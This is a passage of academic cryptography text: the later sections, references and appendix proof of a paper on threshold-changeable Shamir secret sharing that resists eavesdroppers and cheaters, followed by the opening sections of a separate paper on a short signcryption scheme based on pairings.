(as in [17]) and obtains s as: s = S(0). Notice that the use of h is at the cost of los-
ing information theoretic security. As we will see later, computational security will be
guaranteed by our choice of t.

Remark when λ = 1, our construction is identical to Shamir (t, n)-threshold scheme.
Without loss of generality we will assume that λ ≥ 2 is the remaining of this paper.

3.3 Dealing with Eavesdroppers

Passive Eavesdropper. We first consider that the eavesdropper E is passive. This means
that E can read information but cannot modify or inject data into the network. It should
be noticed that if he can spy T communication channels then he can recover s in the
same way as the combiner since the value h(s‖a1‖ · · · ‖at−1) is public. Now we have to
argue that if E has access to at most T −1 channels then it is computationally impossible
for him to recover s. Denote C the number of eavesdropped channels and Pi1 , · · · , PiC

the corresponding participants. Since C < T , E cannot use Poly-Reconstruct on the λ C
values he obtained to recover S(X). We have three cases to consider.

First case: C ≥ t + 1
Since at least t+1 participants are eavesdropped, the problem of recovering S(X) from
the λ C points is an instance of NPIP. Due to our choice of parameters p and t no algo-
rithm is known to solve efficiently NPIP (see Sect. 2).

Nevertheless data from any t participants Pi1 , . . . , Pit can still be used to reconstruct
polynomials of degree at most t − 1 using Lagrange interpolation formula by pick-
ing one elements from each participant. There is a total of λt polynomials including
S(X). For each of these polynomials one hash is computed and compared to the public
value h(s‖a1‖ · · · ‖at−1). The average number of hashes of (t log2 p)-bit messages to
be computed is:

λt + 1
2

This approach becomes computationally prohibitive since λ ≥ 2 and t ≥ 160.
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Second case: C = t
According to Sect. 2.2, NPIP is defined provided that we have N > K + 1 sets of
elements (where K is the degree of the polynomial). In our case this inequality can be
written as: C > t. This means that attempting to solve NPIP when C = t is irrelevant.
Therefore the only known approach E can follow is to use Lagrange interpolation for-
mula as in the first case.

Third case: C < t
In this case Lagrange interpolation formula can only be used to obtain polynomials of
degree at most C − 1. Nevertheless the probability that the degree of S(X) is at most
C − 1 is extremely small. Indeed using the fact the a1, . . . , at−1 are drawn uniformly at
random from IFp we have:

prob(deg(S(X)) ≤ C − 1) = prob(aC = · · · = at−1 = 0) =
1

pt−1−C

Since p is at least 80 bits long, we have: p > 279. We obtain:

prob(deg(S(X)) ≤ C − 1) ≤ 2−79(t−C)

where: t − C ≥ 1. In particular we get:

prob(deg(S(X) = t − 1)) ≥ 1 − 1
279 ≥ 1 − 10−21

Thus the only approach E can use is to solve linear systems of t unknowns and C equa-
tions. This yields to a total of λC pt−C polynomials including S(X). The average num-
ber of hashes of (t log2 p)-bit messages to be computed is:

λC pt−C + 1
2

Since the field IFp has p elements we have: λ ≤ p. Therefore the previous value is lower

bounded by λt+1
2 which represents the complexity of the first two cases.

We deduce that if E cannot eavesdrop more than T − 1 channels then it is compu-
tationally impossible for him to recover the secret s. Thus the threshold value of Shamir
(t, n)-threshold scheme set by the dealer has been increased to T where
T = (t − 1)λ + 1. We have:

T

t
=

(
1 − 1

t

)
λ +

1
t

	 λ

Thus the original threshold value t has been approximately multiplied by λ (without the
intervention of the dealer).

Active Eavesdropper. We now assume that the eavesdropper E is active. This means
that E can also modify or inject data into the network. His goal is to prevent the partic-
ipants to recover the secret s. He has two ways to proceed:
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First Case. E can drop or inject data such that the combiner receives either two identical
elements or λ̃i �= λ elements from some participant Pi. In this case the combiner can
simply ignore data originating from Pi when running Poly-Reconstruct. If E performs
this action on several channels then it may result in a denial-of-service attack on the
secret reconstruction process. Nevertheless this attack has two drawbacks for E . First
it will not result in an incorrect secret s̃ to be recovered by the combiner (contrary to
[40]). Second it reveals the presence of E to the combiner. Thus the latter can decide to
set up another communication channel between Pi and himself which is likely not to be
under control of E . Therefore we will not consider that E performs this kind of attack
any longer.

Second Case. E can substitute data originating from Pi by his own forgery in such a
way that the combiner receives exactly λ distinct elements. The forgery is successful if
the share yi is not amongst the set of elements received at the combiner. To achieve this
goal E has to generate λ new distinct elements from IFp since yi is indistinguishable
from the remaining λ − 1 elements generated by Pi.

Assume the combiner receives data from t′ participants where up to C channels
have been corrupted by E . The combiner must solve an instance of PRP. Consider:
n ≥

√
(t − 1)λn + 1 + C. The combiner can use Poly-Reconstruct provided:

t′ − C >
√

(t − 1)λ t′

Since n ≥
√

(t − 1)λn + 1 + C, we can define the integer TC as:

TC := min
{

t′ ∈ {1, . . . , n} | t′ − C >
√

(t − 1)λ t′
}

Therefore it is sufficient for the combiner to collect data from TC participants to run
Poly-Reconstruct and recover s. More details concerning the value TC and the size of
the list output by Poly-Reconstruct will be given in Sect.3.5.

It can be noticed that we can deal with active eavesdroppers using authentication pro-
tocols for insecure channels such as [16, 19, 39]. They prevent forgeries to be accepted
by the combiner. In addition the use of an error correcting code [16] will also allow the
combiner to recover from element erasures. In those protocols the role of the sender
will be played by each participant in turn whereas the receiver will be the combiner.

3.4 Dealing with Dishonest Participants

The recovery process from Sect. 3.2 is guaranteed to work if every participant is honest
as in [35]. This means that each participant submits to the combiner λ distinct elements
including his share yi. Nevertheless the larger the group is, the higher the probability of
having dishonest participants becomes.

A dishonest participant Pi can act in two different ways. First he can submit either
two identical elements or λ̃i �= λ elements to the combiner. Second he does not submit
his correct share yi. The first case is ruled out in the same way as in the case of an active
eavesdropper in Sect. 3.3 except that the combiner does not set up any other channel to
Pi but removes Pi from the group of trusted members. The second case can be treated as
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in Sect. 3.3 as well. Namely we assume the combiner receives data from t′ participants
where up to D are dishonest. The combiner must solve an instance of PRP. Consider:
n ≥

√
(t − 1)λn + 1 + D. The combiner can use Poly-Reconstruct provided:

t′ − D >
√

(t − 1)λ t′

Since n ≥
√

(t − 1)λn + 1 + D, we can define the integer TD as:

TD := min
{
t′ ∈ {1, . . . , n} | t′ − D >

√
(t − 1)λ t′

}

Therefore it is sufficient for the combiner to collect data from TD participants to run
Poly-Reconstruct and recover s. More details concerning the value TD and the size of
the list output by Poly-Reconstruct will be given in Sect. 3.5.

3.5 Dealing with Invalid Data

In this section, we will combine the results from Sect. 3.3 and Sect. 3.4. We consider
that there are at most D dishonest participants amongst the group of n members and at
most C channels are under control of an active eavesdropper E . Even if E can modify
data sent by a dishonest participant we only consider the worst case where E only acts
on channels between the combiner and honest participants. Therefore the number of
channels transferring invalid data is at most D+C. This bound is denoted F . We assume
the combiner receives data from t′ participants where up to F channels are faulty. The
combiner must solve an instance of PRP. Consider: n ≥

√
(t − 1)λn + 1 + F . The

combiner can use Poly-Reconstruct provided:

t′ − F >
√

(t − 1)λ t′

Since n ≥
√

(t − 1)λn + 1 + F , we can define the integer TF as:

TF := min
{
t′ ∈ {1, . . . , n} | t′ − F >

√
(t − 1)λ t′

}

Theorem 1. If up to F channels are faulty then the combiner needs to obtained the
elements of (at least) TF participants to run Poly-Reconstruct. The size of the output
list is upper bounded by UF and includes S(X) where:

TF =

⎧
⎪⎪⎨

⎪⎪⎩

⌈
F + (t−1) λ

√
ΔF

2

⌉
if (t−1) λ

√
ΔF

2 /∈ IN

F + 1 + (t−1) λ
√

ΔF
2 otherwise

UF =

⌊
TF−F−1

t−1 + TF−F
(TF−F)2−(t−1) λ TF

(
λTF +

√
(TF−F)2−(t−1) λ TF

t−1

)⌋

with: ΔF = (4 F + (t − 1)λ) (t − 1)λ.

Proof. See Appendix A. 
�

The values of TE and TD from Sect. 3.3 and Sect. 3.4 can be obtained from Theorem 1
substituting F by E and D. The size of the lists output by Poly-Reconstruct are bounded
by UE and UD respectively.
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4 Efficiency of Secret Recovery

In this section we will study the computational cost of our construction for the dealer
and the combiner when up to F channels are faulty.

Cost at the Dealer. The dealer needs to generates n shares as evaluations of a poly-
nomial of degree at most t − 1 over IFp. Using Horner’s method, the evaluation of a
polynomial of degree d requires d − 1 multiplications and d − 1 additions in the field.
In our case, we have: d ≤ t − 1. That is, the dealer performs at most t − 1 additions
and t − 1 multiplications in IFp to build the n shares. This is the same cost as Shamir
(t, n)-threshold scheme.

Cost at the Combiner. In Sect. 3.5, we showed that if the combiner receives data from
TF participants then he could recover S(X) by exhausting the list output by Poly-
Reconstruct the size of which is upper bounded by UF . As said in Sect. 2, the num-
ber of field operations to build the list of polynomials is O((λTF )2 ε−5 log2 p) where
TF − F ≥

√
(1 + ε) (t − 1)λTF and at most one hash is computed per list element.

Table 1 summarizes the cost of our construction. We did not include the cost of com-
puting S(0) since S(0) is the lowest degree coefficient of S(X).

Table 1. Cost of our Construction when up to F Channels are Faulty

Dealer Combiner Participant
n (t − 1) multiplications O((λ TF )2 ε−5 log2 p) field operations Storage of 1 element
n (t − 1) additions UF hashes of (t log2 p)-bit messages

Efficiency Comparison. As claimed in Sect. 1, each participant receives one share.
This leads to a communication cost between the dealer and the n participants which
is identical to the original Shamir (t, n)-threshold scheme. This constitutes a major
advantage over constructions such as [8, 18] since the group size is assumed to be large.
In addition we only require one hash value to be publicly known to recover the secret s
contrary to [32] where (at least) n + 1 elements of size |s| need to be known. Since the
secret is at least 80 bits long, the construction by Schoenmakers involves 80 (n+1) bits
to be reserved in a public register. This is larger than one digest produced by SHA-256
for n ≥ 4.

The time for recovering S(X) from the list output by Poly-Reconstruct is an impor-
tant parameter for the efficiency of our scheme. We illustrated the results from Theo-
rem 1 using SHA-256 as a collision resistant hash function. We considered that p was
80 bits long. Based on Dai’s benchmarks [4], our results are shown in Table 2 where
the time unit for tSHA is the second.

Contrary to Bleichenbacher and Nguyen’s technique, Table 2 seems to indicate that
for t up to 200 and even in the presence of up to 100 dishonest participants, recovering
S(X) from the list output by Poly-Reconstruct is quite fast (155 seconds) even for small
values of λ. This behavior is confirmed for larger values of t since the list is exhausted
in less than 36 minutes (2152 seconds) when t = 500.
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The list decoding result by Guruswami and Sudan used in this paper was recently
extended by Parvaresh and Vardy [25] where a larger number of incorrect symbols can
be tolerated. Nevertheless this improvement occurs only when the ratio t

n does not ex-
ceed 1

16 . In addition they did not provide an explicit decoding time complexity (despite
it is in polynomial time) contrary to Guruswami and Sudan where the decoding time

complexity of their algorithm is O
(
n2 ε−5 log2 p logO(1) log p

)
where ε is defined as

in Sect. 2.2 [12].

Table 2.

t λ T F TF UF tSHA t λ T F TF UF tSHA
160 2 319 10 338 2219 1 250 2 499 10 518 5265 3

50 412 10655 3 50 594 5214 3
100 498 9913 3 100 684 1886 1

5 796 10 815 32809 10 5 1246 10 1265 79384 35
50 893 5277 2 50 1344 7527 4
100 985 29063 8 100 1439 7058 4

7 1114 10 1133 89072 25 7 1744 10 1763 216345 94
50 1211 126185 35 50 1842 35123 16
100 1306 12857 4 100 1938 80441 35

10 1591 10 1610 257611 71 10 2491 10 2510 627511 270
50 1689 34144 10 50 2590 26324 12
100 1785 27989 8 100 2687 35860 16

180 2 359 10 378 2784 1 300 2 599 10 618 7517 4
50 453 1156 1 50 695 2162 2
100 540 1699 1 100 786 1900 1

5 896 10 915 41409 13 5 1496 10 1515 114009 59
50 993 9114 3 50 1594 13587 7
100 1086 23696 8 100 1690 8673 5

7 1254 10 1273 112553 35 7 2094 10 2113 311062 161
50 1352 10741 4 50 2192 106718 55
100 1447 10359 4 100 2289 41564 22

10 1791 10 1810 325811 101 10 2991 10 3010 903011 466
50 1889 56866 18 50 3090 37584 20
100 1985 498908 155 100 3187 224117 116

200 2 399 10 418 3413 2 500 2 999 10 1018 20525 18
50 493 12482 5 50 1096 7446 7
100 581 4546 2 100 1190 5406 5

5 996 10 1015 51009 18 5 2496 10 2515 315009 271
50 1093 18158 7 50 2595 13213 12
100 1187 12805 5 100 2692 18138 16

7 1394 10 1413 138778 48 7 3494 10 3513 861430 740
50 1492 14948 6 50 3593 35651 31
100 1587 34566 12 100 3691 35446 31

10 1991 10 2010 402011 139 10 4991 10 5010 2505011 2152
50 2089 103647 36 50 5090 102624 89
100 2186 36316 13 100 5189 54898 48
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Limitations. Our construction has two drawbacks related to the use of Poly-Reconstruct.
Contrary to [35], we cannot choose our new threshold T > t since this new value is
fixed as (t − 1)λ + 1. Second, in order to have n ≥

√
(t − 1)λn + 1 + F we must

have:

t ≥ n

λ

(
1 − 1 + F

n

)
+ 1

In particular we must have t ≤ n
2 since λ ≥ 2. Therefore our scheme is not con-

structible when t is larger than half the group size. So our scheme is limited to large
groups where the initial threshold is modest which enlightens the efficiency limitation
of the algorithm by Guruswami and Sudan in the context of secret sharing.

We would also like to draw the reader’s attention to the fact that if any t participants
collude then they are able to recover S(X) and then the secret s using Lagrange in-
terpolation formula as in the (t, n)-threshold scheme. Nevertheless the larger t is, the
harder having secure channels between t participants gets.

5 Conclusion

We introduced a new approach to allow a flexible change for the threshold value of
Shamir (t, n)-threshold scheme over an insecure network. Our construction does not
require the dealer to take part in the update process. In addition the communication
cost between the dealer and the participants is identical to the original (t, n)-threshold
scheme. Furthermore the size of the data to be stored in a public register to ensure the
recover of the secret is constant and therefore does not depend on the group size n. This
is particularly valuable in the context of group oriented cryptography where the size of
the group may be large. We also showed that the combiner could recover the secret s
from the list output by Poly-Reconstruct within a reasonable time period even for large
values of t. Nevertheless we enlightened that this algorithm did not allow any value t′

to be chosen as the new threshold (contrary to [35]) and required the original threshold
t to be no larger than n

2 .

Acknowledgment

The authors would like to thank Professor Josef Pieprzyk for valuable conversations
about secret sharing schemes. We are also grateful to the anonymous reviewers for their
comments to improve the quality of this paper. This work was supported by the Aus-
tralian Research Council under ARC Discovery Projects DP0558773 and DP0665035.
The first author’s work was also funded by an iMURS scholarship supported by Mac-
quarie University.

References

[1] G. R. Blakley. Safeguarding cryptographic keys. In AFIPS 1979, pages 313 – 317, 1979.
[2] D. Bleichenbacher and P. Q. Nguyen. Noisy polynomial interpolation and noisy chinese

remaindering. In Eurocrypt’00, volume 1807 of LNCS, pages 53 – 69. Springer - Verlag,
May 2000.



Dynamic Threshold and Cheater Resistance for Shamir Secret Sharing Scheme 115

[3] C. Blundo, A. Cresti, A. De Santis, and U. Vaccaro. Fully dynamic secret sharing schemes.
In Crypto’93, volume 773 of LNCS, pages 110 – 125. Springer - Verlag, August 1993.

[4] W. Dai. Crypto++ 5.2.1 benchmarks, July 2004.
[5] Y. Desmedt. Society and group oriented cryptography: A new concept. In Crypto’87,

volume 293 of LNCS, pages 120 – 127. Springer - Verlag, August 1987.
[6] Y. Desmedt and S. Jajodia. Redistributing secret shares to new access structures and its

application. Technical Report ISSE TR-97-01, George Mason university, 1997.
[7] Y. Desmedt and B. King. Verifiable democracy a protocol to secure an electronic legisla-

ture. In EGOV 2002, volume 2456 of LNCS, pages 460 – 463. Springer - Verlag, September
2002.

[8] Y. Desmedt, K. Kurosawa, and T. Van Le. Error correcting and complexity aspects of linear
secret sharing schemes. In 6th International Conference on Information Security, volume
2851 of LNCS, pages 396 – 407. Springer - Verlag, October 2003.

[9] Y. Frankel, P. Gemmel, P. D. MacKenzie, and M. Yung. Optimal-resilience proactive
public-key cryptosystems. In FOCS’97, pages 384 – 393. IEEE Press, October 1997.

[10] Z. Galil, S. Haber, and M. Yung. Cryptographic computation: Secure fault-tolerant pro-
tocols and the public-key model (extended abstract). In Crypto’87, volume 293 of LNCS,
pages 135 – 155. Springer - Verlag, August 1987.

[11] H. Ghodosi and J. Pieprzyk. Democratic systems. In ACISP 2001, volume 2119 of LNCS,
pages 392 – 402. Springer - Verlag, July 2001.

[12] V. Guruswami. List Decoding of Error-Correcting Codes. Springer-Verlag, 2004.
[13] V. Guruswami and M. Sudan. Improved decoding of Reed-Solomon and algebraic-

geometric codes. IEEE Trans. on Information Theory, 45(6):1757 – 1767, September 1999.
[14] L. Harn. Group-oriented (t, n)-threshold digital signature scheme and digital multisigna-

ture. IEE Proceedings - Computers and Digital Techniques, 141(5):307 – 313, September
1994.

[15] A. Juels and M. Sudan. A fuzzy vault scheme. In ISIT 2002, page 408. IEEE Press, July
2002. Extended version avaliable at: http://www.rsasecurity.com/rsalabs/staff/bios/ajuels/
publications/fuzzy-vault/fuzzy_vault.pdf.

[16] C. Karlof, N. Sastry, Y. Li, A. Perrig, and J. D. Tygar. Distillation codes and applications
to DoS resistant multicast authentication. In NDSS 2004, February 2004.

[17] E. D. Karnin, J. W. Greene, and M. E. Hellman. On secret sharing systems. IEEE Trans-
actions on Information Theory, 29(1):35 – 41, January 1983.

[18] Q. Li, Z. Wang, X. Niu, and S. Sun. A non-interactive modular verifiable secret sharing
scheme. In International Conference on Communications, Circuits and Systems, pages
84 – 87. IEEE Press, May 2005.

[19] A. Lysyanskaya, R. Tamassia, and N. Triandopoulos. Multicast authentication in fully
adversarial networks. In IEEE Symp. on Security and Privacy, November 2003.

[20] A. Maeda, A. Miyaji, and M. Tada. Efficient and unconditionally secure verifiable threshold
changeable scheme. In ACISP 2001, volume 2119 of LNCS, pages 402 – 416. Springer -
Verlag, 2001.

[21] K. Martin. Untrustworthy participants in secret sharing schemes. In Cryptography and
Coding III, pages 255 – 264. Oxford University Press, 1993.

[22] K. Martin, J. Pieprzyk, R. Safavi-Naini, and H. Wang. Changing thresholds in the absence
of secure channels. Australian Computer Journal, 31:34 – 43, 1999.

[23] K. Martin, R. Safavi-Naini, and H. Wang. Bounds and techniques for efficient redistribu-
tion of secret shares to new access structures. The Computer Journal, 42(8):638 – 649,
September 1999.



116 C. Tartary and H. Wang

[24] R. J. McEliece and D. V. Sarwate. On sharing secrets and Reed-Solomon codes. Commu-
nications of the ACM, 24(9):583 – 584, September 1981.

[25] F. Parvaresh and A. Vardy. Correcting errors beyond the Guruswami-Sudan radius in poly-
nomial time. In 46th Annual IEEE Symposium on Foundations of Computer Science, pages
285 – 294, Pittsburgh, USA, October 2005. IEEE Computer Society.

[26] J. Pieprzyk, T. Hardjono, and J. Seberry. Fundamentals of Computer Security. Springer,
2003.

[27] J. Pieprzyk and X. M. Zhang. Cheating prevention in secret sharing over GF(pt). In
Indocrypt 2001, volume 2247 of LNCS, pages 79 – 90. Springer - Verlag, December 2001.

[28] J. Pieprzyk and X. M. Zhang. Constructions of cheating immune secret sharing. In ICICS
2001, volume 2288 of LNCS, pages 226 – 243. Springer - Verlag, December 2001.

[29] J. Pieprzyk and X. M. Zhang. On cheating immune secret sharing. Discrete Mathematics
and Theoretical Computer Science, 6:253 – 264, March 2004.

[30] C. P. Schnorr. A hierarchy of polynomial lattice basis reduction algorithms. Theoretical
Computer Science, 53:201 – 224, 1987.

[31] C. P. Schnorr and M. Euchner. Lattice basis reduction: Improved practical algorithms and
solving subset sum problem. Math. Programming, 66(1 - 3):181 – 199, August 1994.

[32] B. Schoenmakers. A simple publicly verifiable secret sharing scheme and its application to
electronic voting. In Crypto’99, volume 1666 of LNCS, pages 148 – 164. Springer - Verlag,
August 1999.

[33] A. Shamir. How to share a secret. Communication of the ACM, 22(11):612 – 613, Novem-
ber 1979.

[34] V. Shoup. Number Theory Library (NTL). Available online at: http://www.shoup.net/ntl/.
[35] R. Steinfeld, H. Wang, and J. Pieprzyk. Lattice-based threshold-changeability for standard

Shamir secret-sharing schemes. In Asiacrypt’04, volume 3329 of LNCS, pages 170 – 186.
Springer - Verlag, December 2004.

[36] D. R. Stinson. Cryptography: Theory and Practice. CRC Press, 1995.
[37] D. R. Stinson and S. Zhang. Algorithms for detecting cheaters threshold schemes. Available

online at: http://www.cacr.math.uwaterloo.ca/∼dstinson/papers/cheat.pdf, January 2006.
[38] C. Tang, Z. Liu, and M. Wang. A verifiable secret sharing scheme with statistical zero-

knowledge. Avaliable onlne at: http://eprint.iacr.org/2003/222.pdf, October 2003.
[39] C. Tartary and H. Wang. Efficient multicast stream authentication for the fully adversarial

network. In WISA 2005, volume 3786 of LNCS, pages 108 – 125. Springer - Verlag, August
2005.

[40] M. Tompa and H. Woll. How to share a secret with cheaters. In Crypto’86, volume 263 of
LNCS, pages 261 – 265. Springer - Verlag, August 1986.

[41] X. M. Zhang and J. Pieprzyk. Cheating immune secret sharing. In ICICS 2001, volume
2229 of LNCS, pages 144 – 149. Springer - Verlag, November 2001.

A Proof of Theorem 1

Determination of TF . We are interested in determining the smallest positive integer TF
such that if up to F channels are faulty, the combiner can run Poly-Reconstruct after
collecting the elements of TF members. Since each participant has λ elements and the
combiner obtain correct data from at least TF −F of them, the value TF is the smallest
positive integer T such that:

T − F >
√

(t − 1)λ T (1)
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Since TF verifies (1), we deduce: T 2
F − (2 F + (t − 1)λ)TF + F2 > 0. Since the

polynomial X2 − (2 F + (t − 1)λ)X + F2 has a positive discriminant: ΔF = (4 F +
(t − 1)λ) (t − 1)λ we deduce that its two roots are:

r1 := F +
(t − 1)λ −

√
ΔF

2
and r2 := F +

(t − 1)λ +
√

ΔF
2

We have: r1 < F < r2 since (t − 1)λ <
√

ΔF . Since TF has to verify (1), we must
have: TF > F . Therefore: TF ≥ T̃F where:

T̃F =
{

�r2
 if r2 /∈ IN
r2 + 1 otherwise

By definition of T̃F , we have: T̃ 2
F − (2 F +(t−1)λ) T̃F +F2 > 0 which is equivalent

to:

|T̃F − F| >

√
(t − 1)λ T̃F

Since T̃F > F , we deduce that T̃F verifies (1). Due to the minimality of TF we obtain:
TF = T̃F .

Determination of UF . We have at least TF − F correct shares amongst a total of
λTF elements. Using Proposition 6.15 from [12], the size of the list output by Poly-
Reconstruct is upper bounded by � L

t−1� where:

⎧
⎪⎪⎨

⎪⎪⎩

L := R (TF − F) − 1

R := 1 +
⌊

(t−1) λ TF+
√

((t−1) λ TF )2+4 ((TF−F)2−(t−1) λ TF )
2 ((TF−F)2−(t−1) λ TF )

⌋

We have the property: ∀(a, b) ∈ IR+ × IR+ √
a + b ≤

√
a +

√
b. We obtain:

R ≤ 1 +
(t − 1)λTF +

√
(TF − F)2 − (t − 1)λTF

(TF − F)2 − (t − 1)λTF

From the definition of L and using the previous inequality as well as the increase of the
function x �→ �x� over its domain, we deduce:

⌊
L

t−1

⌋
≤

⌊
TF−F−1

t−1 + TF−F
(TF−F)2−(t−1) λ TF

(
λTF +

√
(TF−F)2−(t−1) λ TF

t−1

)⌋

Notice that the right hand side of the inequality is the value UF defined in Theorem 1.
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Abstract. Signcryption is such a public key cryptographic primitive
that simultaneously provides the functionality of signature and encryp-
tion within a single logic step. Despite the flurry of recent results on
signcryption, there are no signcryption schemes which possess both tight
security and short expansion. This paper presented a short signcryption
scheme to achieve both above merits. Thanks to q-strong Diffie-Hellman
problem and parings, our scheme is quite efficient and security: the sign-
cryption operation has almost the same cost as an El Gamal encryption
while the reverse operation only requires one pairing evaluation and two
exponentiations, the ciphertext expansion is about 260 bits which is much
smaller than that of all previously proposed schemes, and the security of
our scheme is tightly related to q-Strong Diffie-Hellman problem in the
random oracle model.

Keywords: Signcryption, tight reduction, provable security.

1 Introduction

In 1997, Zheng [27] introduced a new cryptographic primitive termed “signcryp-
tion” with the goals to ensure message privacy and authentication simultane-
ously and to achieve the cost (signcryption) < the cost (signature)+the cost
(encryption). Since then, a flurry of results on signcryption have been seen in
literatures.

1.1 Signcryption

Encryption and digital signature are two distinct basic blocks for building se-
cure protocols. However, more and more applications utilize both two blocks
to ensure message privacy and authentication, such as secure e-mail or the
key-establishment protocols for SSL or SSH, in which the functionality of en-
cryption and signature are both considered. In the beginning, research in the
symmetric key setting has introduced authenticated encryption[6,22] to com-
bine both functionalities of privacy and authentication in a single primitive.
More recent research has extended authenticated encryption to the public-key
setting[1,3,10,11,27]. Following from the terminology of [27], we refer to authen-
ticated encryption in public key setting as “signcryption”. The main purpose of
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signcryption is to achieve confidentiality, authentication, integration and non-
repudiation in an efficient and secure manner.

There are many kinds of approaches to design signcryption schemes, two of
which, one is from groups of large prime order [3,10,11,14,15,16,17,27], and the
other is from integer ring Z∗

N [18,24]. The original signcryption schemes pro-
posed in [27] were constructed on discrete logarithm problem over finite field Fp.
But these schemes have some drawbacks - loose security reduction and lacking
public verifiability [3] which can provide an easy solution for non-repudiation
of ciphertext and plaintext. Bao and Deng [3] proposed an approach to add
public verifiability to Zheng’s scheme by adding one more exponentiation. But
their scheme was shown [23] to leak some information about the plaintext. For
more details about the progress of signcryption, we suggest the readers to refer-
ence [15], which introduced a new signcryption scheme based on Diffie-Hellman
problem in Gap Diffie-Hellman groups.

Recently, a lot of signcryption schemes from super singular elliptic curves
had been proposed owing to the good properties of bilinear maps. Indeed, those
schemes—including identity-based signcryption schemes [10,14,17,20] and non-
identity based schemes [15,16], only offer a saving in length but not in computa-
tion over the sign-then-encrypt method. Their computational costs are identical
to that of encryption plus that of signature. In [16], a signcryption scheme with
both length and computation saving was proposed, but it is shown to be insecure
by [25] subsequently.

1.2 Our Contributions

So far, Zheng’s original scheme and Libert’s scheme [16] are the only two shortest
signcryption schemes. but the former only offers loose security reduction and
the latter is insecure indeed. In this paper, we propose an efficient and short
signcryption scheme from elliptic curves [8,13,19] to achieve savings both in
length and computation with tight security. The basic idea to construct the new
signcryption scheme is to add randomness to Zhang’s signature[26] and then
to ravel the signature with ciphertext in such an approach that the ciphertext
is encrypted by the signature and subsequently the signature is blinded by the
ciphertext. The resulted new scheme possesses the following properties:

1. very short ciphertext expansion, due to the properties of elliptic curves we
use, the ciphertext expansion of our scheme is about 260 bits(which is two
thirds of Zheng’s scheme but its security is higher than Zheng’s scheme);

2. high efficiency, as the signcryption operation has almost the same cost as an
El Gamal encryption while the reverse operation only requires one pairing
evaluation and one exponentiation;

3. tight reduction with inside security—our scheme is secure against existen-
tial forgery under adaptively inside chosen-message attacks and is semantic
security under adaptive inside chosen ciphertext attacks (in the random ora-
cle model [7]), assuming computational q-Diffie-Hellman problem is hard on
certain elliptic curves;
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4. and directly public verifiability, the signature can be easily detached and
publicly verified without losing any secret information of the users;

Zheng[9,27] LQ1[15] LQ2[16] our scheme
Comp. Cost 4exp. +1 inv 6sm.+2pr. 5sm.+1pr+2 inv. 4sm.+1pr.

Info. Expansion 320 bits 480 bits 321 bits 260 bits
Public Verifiability N Y Y Y
Tight Reduction N Y Y Y
Inside Security N N N Y

Fig. 1. Comparisons amongst signcryption schemes. Abbreviations used are: “comp.”
for computational; “info.” for information; “exp.” for an exponentiation in the group;
“inv.” for an inversion computation in the group; “sm.” for one scalar multiplication
in the additive group; “pr.” for a pairing computation.

A comparison between our scheme and other schemes is listed in the above
table (see figure 1). As shown in the table, one can obviously see the advantages
of our scheme over previously proposed schemes.

1.3 Outline of the Paper

The remainder of the paper is organized as follows. We first describe security
models of signcryption schemes in § 2. In § 3, we review and give some notations
and definitions. In § 4, we present an implementation of our scheme. In § 5, we
make detailed security proof. In § 6, we draw a conclusion.

2 Models for Signcryption

Informally, a signcryption scheme consists of a quaternion of algorithms < ComG-
en, KeyGen, Signcrypt, Unsigncrypt > and involves two parties named the sender
and the recipient. We will consider the security requirements of the signcryp-
tion scheme from the two usual aspects: message confidentiality and signature
unforgeability in multi-user settings [2] under inside attacks [15].

2.1 Message Confidentiality

Message confidentiality against adaptive inside chosen-ciphertext attacks is de-
fined in terms of the following game 1, played between a challenger and an
adversary A.

Game 1.
Initialization. The challenger runs the recipient key generation algorithm

KeyGen to generate a public/private key pair (PKU , SKU ), SKU is kept
secret while PKU is given to the adversary A.
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Phase 1. A performs a series of queries in an adaptive fashion. The following
queries are allowed:
Signcrypt queries in which A submits a message m ∈ M and an arbitrary

public key PKR (must be different from PKU ) and obtains a signcryp-
text c.

Unsigncrypt queries in which A submits a signcryptext c and PKS , the
challenger runs algorithm TUnsigncrypt on input (PKS , SKU , c) and re-
turns its output to A.

Selection. At the end of phase 1, A returns two distinct messages m0 and m1
with equal bit length and an arbitrary private key SKS, on which it wishes
to be challenged.

Challenge. The challenger flips b ∈ {0, 1}, then computes c∗ = Signcrypt(SKS ,
PKU , mb), and returns the signcryptext c∗ as a challenge to the adversary
A.

Phase 2. A adaptively issues a number of additional Signcrypt, Unsigncrypt
queries, under the constraint that it is not allowed to ask the Unsigncrypt of
c∗ under the private key SKU .

Output. At the end of the game, A outputs a bit b′ ∈ {0, 1} and wins the game
if b′ = b.

The above game describes an insider-security model for confidentiality. We
refer it as an IND-SC-CCA attack. A’s advantage is defined to be Adv(A) =
|2Pr[b′ = b] − 1|.

Definition 2.1. A signcryption scheme is said to be semantically secure against
adaptive chosen-signcryptext inside attacks, or IND-SC-CCA secure, if for any
randomized polynomial-time adversary A, its advantage Adv(A) in the above
game is a negligible function in security parameters.

2.2 Signature Unforgeability

Signature unforgeability of signcryption schemes is formally defined in terms of
the following game 2, played between a challenger and a forger F .

Game 2.
Initialization. The challenger runs the KeyGen procedure to generate a key

pair (PKU , SKU ), SKU is kept secret while PKU is given to the forger F .
Queries. F makes a number of queries to the challenger. The attack may

be conducted adaptively, and allows the same Signcrypt and Unsigncrypt
queries as in game 1.

Forgery. At the end of the game, F returns a singcryptext c and a recipient
private key SKR with the corresponding public key PKR.

Output. F wins the game if (i) the signcryptext c∗ unsigncrypts under the keys
SKR and PKU to the signed message m∗ and (ii) the query < m∗, PKR >
has not been submitted by the adversary as public input to Signcrypt.
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The above game 2 describes an inside-security model for signature unforge-
ability. We call it an EUF-SC-CMA attack. F ’s advantage is defined to be
Adv(F) = Pr[F wins the game 2].

Definition 2.2. A signcryption scheme is said to be existentially signature-
unforgeable against chosen-message insider attacks, or EUF-SC-CMA secure, if
for any randomized polynomial-time forger F , its advantage Adv(F) in the above
game 2 is a negligible function in security parameters.

3 Mathematical Preliminary

The notations are similar to those of [26]. Let (G1, +) be a cyclic additive group
generated by P , whose order is a large prime p, and (G2, ·) be a cyclic multi-
plicative group with the same order p. Let e : G1 × G1 −→ G2 be a map with
the following properties:

1. Bilinearity: e(aP, bQ) = e(P, Q)ab for all P, Q ∈ G1, a, b ∈ Zp;
2. Non-degeneracy: There exists P, Q ∈ G1 such that e(P, Q) �= 1;
3. Computability: There is an efficient algorithm to compute e(P, Q) for

P, Q ∈ G1.

Computational Diffie-Hellman Problem (CDH). For a, b ∈ Z∗
p, given

aP, bP ∈ G1, compute abP ∈ G1. An algorithm A has advantage ε in solving
CDH problem in group G1 if

Pr[A(P, aP, bP ) = abP ] > ε

where the probability is over the random choice of generator P ∈ G1, the random
choice of a and b, and the coin toss of A.
